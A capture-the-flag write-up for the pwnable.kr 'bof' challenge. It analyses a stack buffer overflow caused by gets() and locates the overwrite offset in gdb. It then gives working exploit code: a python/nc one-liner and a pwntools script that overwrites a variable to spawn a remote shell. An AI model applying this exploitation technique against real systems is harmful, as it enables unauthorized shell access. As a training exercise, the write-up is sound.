pwnable.kr - bof
pwnable.kr - bof
Introduction
Hey guys it’s been a long time since my first pwn write-up, today I’ll write about another challenge from pwnable.kr called bof. It was a simple easy buffer overflow challenge (You can also check these), by overwriting a variable we can get a shell. I’ll also write a small exploit with pwntools
that spawns a shell automatically.
Challenge Description
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
Pretty straightforward, we have the vulnerable binary, its source code and the port where it’s running.
Code Analysis
Let’s take a look at the code :
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
There are two functions, the main function and another function called func()
func()
:
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
Breakdown :
The function takes a variable called key
, it starts by creating a variable called overflowme
and sets a buffer of 32 chars for it : char overflowme[32];
Then it prints overflow me :
(printf("overflow me : ");
) and waits for our input which will be saved in the variable overflowme
(gets(overflowme);
)
After that there’s an if statement that checks if the variable key
is equal to 0xcafebabe
(if(key == 0xcafebabe){
). If that’s true it will spawn a shell (system("/bin/sh");
), if key
is equal to anything else it will print Nah..
(printf("Nah..\n");
)
main()
:
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
Basically what the main function is doing is just calling the function func()
giving key
the value of 0xdeadbeef
So we need to make key
equal to 0xcafebabe
instead of 0xdeadbeef
to make it spawn a shell. We control overflowme
but we don’t control key
. If we can cause a buffer overflow we will be able to overwrite key
, and obviously overflowme
is vulnerable.
Examining the Binary, Exploitation
I ran the program and tested it a couple of times. First one with a short input :
Second one with a longer input and it crashed:
Important thing to note here, we don’t want to know the offset or where the program exactly crashes. This is because we don’t need to overwrite EIP
, we need to overwrite a variable’s value and that’s located on the stack. So giving the program a pattern and finding the offset won’t help because we need to know where 0xdeadbeef
is located on the stack.
It’s time for gdb
. I started gdb
and created a break point at main
(break main
) then I started the program (r
) :
It stopped at the break point. We need to disassemble the function func()
to get the address of the compare instruction that compares between the value of key
and 0xcafebabe
to set another break point there and look at the stack.
disas func
We can see the cmpl
(Compare Logical) instruction at 0x0000654
, Lets set a break point exactly before it :
break *0x80000654
Now let’s continue the execution (c
) and wait for our break point.
I gave it a short input because we don’t need to crash it and overwrite stuff on the stack, we just need to look at the stack during a normal execution to locate 0xdeadbeef
.
After hitting the second break point let’s look at the stack :
x/50wx $esp
0xdeadbeef
appears at the first row in front of 0xbffff2e0
and our input starts to appear at the last row in front of 0xbffff2a0
. We can locate the distance between our input and 0xdeadbeef
easily, each hex value represents 4 chars (0x41414141 == AAAA
) and we have exactly 13 of them before 0xdeadbeef
(1 + 4 + 4 + 4
).
We need to give the program exactly 52 chars then 0xcafebabe
and eventually 0xdeadbeef
will be overwritten.
Let’s try it, I used python to print the payload in a file then I piped that file to the nc
connection :
python -c "print 'A' * 52 + '\xbe\xba\xfe\xca'" > ./payload
(cat payload && cat) | nc pwnable.kr 9000
Pwned !
Writing an Exploit with pwntools
One of the cool things about pwntools
is the simplicity, combined with the simplicity of this exploit will make it just 4 lines of code.
First thing we need to do is to import pwntools
:
from pwn import *
We need to store our payload in a variable :
payload = 'A' * 52 + '\xbe\xba\xfe\xca'
Then we need to initiate the connection and assign a variable for it :
shell = remote('pwnable.kr' ,9000)
After that we will send the payload :
shell.send(payload)
And finally we can interact with our shell :
shell.interactive()
#!/usr/bin/python
from pwn import *
payload = 'A' * 52 + '\xbe\xba\xfe\xca'
shell = remote('pwnable.kr',9000)
shell.send(payload)
shell.interactive()
Pwned again !
That’s it , Feedback is appreciated !
Don’t forget to read the other write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous pwn write-up : pwnable.kr - fd
Next pwn write-up : pwnable.kr - collision